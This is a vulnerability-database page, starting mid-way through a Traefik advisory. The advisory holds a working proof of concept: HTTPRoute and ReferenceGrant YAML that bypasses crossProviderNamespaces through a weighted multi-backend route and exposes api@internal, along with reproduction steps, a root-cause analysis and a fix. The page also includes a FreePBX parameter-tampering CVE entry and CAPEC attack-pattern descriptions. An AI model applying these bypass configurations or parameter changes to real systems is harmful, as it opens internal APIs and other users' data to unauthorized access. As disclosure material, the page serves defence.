`ReferenceGrant` should be treated as necessary but not sufficient for this case. It authorizes the cross-namespace object reference under Gateway API rules, but Traefik\u0027s `crossProviderNamespaces` option is an additional Traefik-specific security control for cross-provider `TraefikService` backendRefs, especially `@internal` services. Therefore a `ReferenceGrant` from `trusted` must not make a route in `attacker` equivalent to a route whose own namespace is `trusted`.\n\n# Required Attacker Capability\n\nRequired:\n\n- create or modify an `HTTPRoute` in namespace `attacker`;\n- have that `HTTPRoute` accepted by a `Gateway`;\n- rely on an existing `ReferenceGrant` from an allow-listed namespace, or on a delegated namespace setup where such `ReferenceGrant` objects are managed separately from Traefik\u0027s provider configuration.\n\nNot required:\n\n- modifying Traefik static configuration;\n- modifying the Traefik deployment or Traefik RBAC;\n- modifying resources in the Traefik deployment namespace;\n- modifying `providers.kubernetesGateway.crossProviderNamespaces`;\n- enabling `api.insecure`;\n- exposing the dashboard/API entrypoint directly.\n\n# Documentation Evidence\n\nThe documented boundary is the namespace of the Gateway API route/resource that declares the cross-provider reference, not the namespace named in `backendRef.namespace`.\n\nThe Kubernetes Gateway provider option is documented as:\n\n```text\nList of namespaces from which Gateway API routes (HTTPRoute, TCPRoute, TLSRoute) are allowed to declare a backendRef of kind TraefikService.\n```\n\nThe migration notes also describe the security reason for the option:\n\n```text\nthose references ... allow a user to cross namespace boundaries, as well as exposing @internal services, that only the operator should be able to expose.\n```\n\nand the documented behavior is:\n\n```text\n[\"ns-a\"] | Only Kubernetes resources in the listed namespaces can declare cross-provider references.\n```\n\nThe provider struct uses the same route-namespace wording:\n\n```go\nCrossProviderNamespaces []string `description:\"List of namespaces from which Gateway API routes are allowed to declare TraefikService backendRef references.\" ...`\n```\n\nThe reproduced route kind is `HTTPRoute`; no Gateway API experimental-channel resources are required for the PoC.\n\n# PoC\n\nI validated the issue end-to-end in a local `kind` cluster with Traefik `v3.7.1`, real Gateway API CRDs, real Kubernetes `Gateway`, `HTTPRoute`, and `ReferenceGrant` resources, and HTTP requests to Traefik\u0027s normal `web` entrypoint.\n\nThe complete local reproducer I used is a self-contained `kind` PoC with these files:\n\n```text\nexternal-repro-kind/kind-config.yaml\nexternal-repro-kind/traefik-v371.yaml\nexternal-repro-kind/gateway-exploit.yaml\nexternal-repro-kind/run-kind-repro.sh\n```\n\nRun command:\n\n```bash\n./external-repro-kind/run-kind-repro.sh\n```\n\nThe script creates a local `kind` cluster, loads local `traefik:v3.7.1` and `traefik/whoami:v1.11.0` images, installs Gateway API CRDs, deploys Traefik and the PoC Gateway resources, sends the control and exploit `curl` requests to `127.0.0.1:18080`, prints route status, and deletes the cluster on exit.\n\nTraefik was started with:\n\n```text\n--api=true\n--api.dashboard=true\n--api.insecure=false\n--providers.kubernetesgateway=true\n--providers.kubernetesgateway.crossprovidernamespaces=trusted\n```\n\nThe local host entrypoint was:\n\n```text\n127.0.0.1:18080 -\u003e kind NodePort -\u003e Traefik web entrypoint\n```\n\nThe target namespace has a normal Gateway API `ReferenceGrant`:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1beta1\nkind: ReferenceGrant\nmetadata:\n name: allow-attacker-to-traefikservice\n namespace: trusted\nspec:\n from:\n - group: gateway.networking.k8s.io\n kind: HTTPRoute\n namespace: attacker\n to:\n - group: traefik.io\n kind: TraefikService\n```\n\nPositive control:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n name: single-backend-control\n namespace: attacker\nspec:\n parentRefs:\n - name: shared-gateway\n namespace: default\n hostnames:\n - control.localhost\n rules:\n - matches:\n - path:\n type: PathPrefix\n value: /api\n backendRefs:\n - group: traefik.io\n kind: TraefikService\n name: api@internal\n namespace: trusted\n port: 80\n weight: 1\n```\n\nBypass:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n name: mixed-backend-bypass\n namespace: attacker\nspec:\n parentRefs:\n - name: shared-gateway\n namespace: default\n hostnames:\n - exploit.localhost\n rules:\n - matches:\n - path:\n type: PathPrefix\n value: /api\n backendRefs:\n - group: traefik.io\n kind: TraefikService\n name: api@internal\n namespace: trusted\n port: 80\n weight: 1000000\n - group: \"\"\n kind: Service\n name: whoami\n port: 80\n weight: 1\n```\n\nObserved external result:\n\n```text\ncontrol: single-backend route from attacker namespace should not expose api@internal\ncontrol status: 404\n404 page not found\n\nexploit: mixed backendRef route from attacker namespace exposes api@internal\nexploit returned Traefik API JSON\napi@internal status: enabled\nweighted members:\napi@internal 1000000\nattacker-whoami-http-80 1\n```\n\nThe `HTTPRoute` status shows the boundary difference:\n\n```text\nsingle-backend-control:\n Accepted=True\n ResolvedRefs=False\n Reason=RefNotPermitted\n Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace \"attacker\" is not in crossProviderNamespaces\n\nmixed-backend-bypass:\n Accepted=True\n ResolvedRefs=True\n```\n\nThis is the externally visible security failure: the same route namespace and same `api@internal` backendRef are rejected in the single-backend path, but accepted in the mixed/WRR path and exposed on the data plane.\n\n## Minimized Root Cause Test\n\nI also created a provider-level regression test using Traefik\u0027s fake Kubernetes/Gateway clients. This does not rely on the Docker lab, dashboard exposure, or helper backends. It is useful as a minimal root-cause test, but the external `kind` PoC above is the primary impact reproduction.\n\nFiles:\n\n- `probe/crossprovider_namespace_probe_test.go`\n- `probe/cross_provider_namespace_probe.yml`\n- `probe/cross_provider_namespace_single_control.yml`\n\nReproduction:\n\n```bash\ncp probe/crossprovider_namespace_probe_test.go pkg/provider/kubernetes/gateway/\ncp probe/cross_provider_namespace_probe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/\ngo test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -v\n```\n\nObserved output on both tested versions:\n\n```text\nMessages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80]\n```\n\nThe reproducer also includes a positive control:\n\n```text\n=== RUN TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl\n--- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl\n```\n\nThat control shows the single-backend internal-service code path rejects the setup correctly. The bypass appears when the same forbidden internal backend is placed in a mixed/WRR backendRef list.\n\n# Root Cause\n\nThe single-internal-service path checks the route namespace:\n\n```go\ncase len(routeRule.BackendRefs) == 1 \u0026\u0026 isInternalService(routeRule.BackendRefs[0].BackendRef):\n if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) {\n```\n\nThe mixed/multiple backendRef path calls `loadService`. In `loadService`, `namespace` is overwritten from `backendRef.Namespace`, then passed to `loadHTTPBackendRef`:\n\n```go\nnamespace := route.Namespace\nif backendRef.Namespace != nil \u0026\u0026 *backendRef.Namespace != \"\" {\n namespace = string(*backendRef.Namespace)\n}\n...\nname, service, err := p.loadHTTPBackendRef(namespace, backendRef)\n```\n\n`loadHTTPBackendRef` then checks `crossProviderNamespaces` against this target namespace:\n\n```go\nif *backendRef.Kind == \"TraefikService\" \u0026\u0026 strings.Contains(string(backendRef.Name), \"@\") {\n if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) {\n```\n\nThis lets a disallowed route namespace choose an allow-listed target namespace and pass the check.\n\n# Impact\n\nAn untrusted route namespace may expose internal Traefik services through Gateway `HTTPRoute` despite being excluded from `crossProviderNamespaces`.\n\nPotentially exposed internal services include:\n\n- `api@internal`\n- `dashboard@internal`\n- `rest@internal`\n\nThis is a route isolation / internal service exposure / security option bypass. Practical severity depends on whether internal services are enabled and how Gateway `ReferenceGrant` delegation is used, but the observed behavior violates the documented security boundary of `crossProviderNamespaces`.\n\nI also validated the concrete impact of the generated service graph in the local lab. The lab\u0027s intended safe baseline has the dashboard/API protected on the dashboard entrypoint:\n\n```text\nHost: dashboard.localhost -\u003e dashboard entrypoint /api/rawdata =\u003e 401 Unauthorized\nHost: dashboard.localhost -\u003e web entrypoint /api/rawdata =\u003e 404 Not Found\n```\n\nWhen a router on the normal web entrypoint references `api@internal`, the same API endpoint becomes unauthenticated:\n\n```text\nHost: impact-crossprovider.localhost -\u003e web entrypoint /api/rawdata =\u003e 200 OK\nservice: api@internal\n```\n\nA WRR service containing `api@internal` also exposes the API:\n\n```text\nHost: impact-crossprovider-wrr.localhost -\u003e web entrypoint /api/rawdata =\u003e 200 OK\nweighted services:\napi@internal 1000\necho-svc 1\n```\n\nThis is the security consequence of the provider bug: a namespace that should be blocked by `crossProviderNamespaces` can make Traefik generate a service graph containing `api@internal` on a route it controls.\n\n# Suggested Fix\n\nFor Gateway `HTTPRoute` `TraefikService` cross-provider backendRefs, validate `crossProviderNamespaces` against `route.Namespace` in all code paths, including mixed/WRR backendRefs.\n\n\u003c/details\u003e\n\n---",
"id": "GHSA-3g6v-2r68-prfc",
"modified": "2026-06-17T14:01:48Z",
"published": "2026-06-17T14:01:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-3g6v-2r68-prfc"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.6.21"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.7.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Traefik: Kubernetes Gateway crossProviderNamespaces bypass allows HTTPRoute outside the allowlist to expose internal Traefik services"
}
GHSA-3G8H-47MP-4839
Vulnerability from github – Published: 2023-11-02 12:30 – Updated: 2023-11-09 21:30
VLAI
Details
Sangoma Technologies FreePBX before cdr 15.0.18, 16.0.40, 15.0.16, and 16.0.17 was discovered to contain an access control issue via a modified parameter value, e.g., changing extension=self to extension=101.
Severity
8.8 (High)
{
"affected": [],
"aliases": [
"CVE-2023-43336"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-02T12:15:09Z",
"severity": "HIGH"
},
"details": "Sangoma Technologies FreePBX before cdr 15.0.18, 16.0.40, 15.0.16, and 16.0.17 was discovered to contain an access control issue via a modified parameter value, e.g., changing extension=self to extension=101.",
"id": "GHSA-3g8h-47mp-4839",
"modified": "2023-11-09T21:30:35Z",
"published": "2023-11-02T12:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43336"
},
{
"type": "WEB",
"url": "https://medium.com/%40janirudransh/security-disclosure-of-vulnerability-cve-2023-23336-4429d416f826"
},
{
"type": "WEB",
"url": "https://medium.com/@janirudransh/security-disclosure-of-vulnerability-cve-2023-23336-4429d416f826"
},
{
"type": "WEB",
"url": "http://freepbx.com"
},
{
"type": "WEB",
"url": "http://sangoma.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Architecture and Design
Operation
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Architecture and Design
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.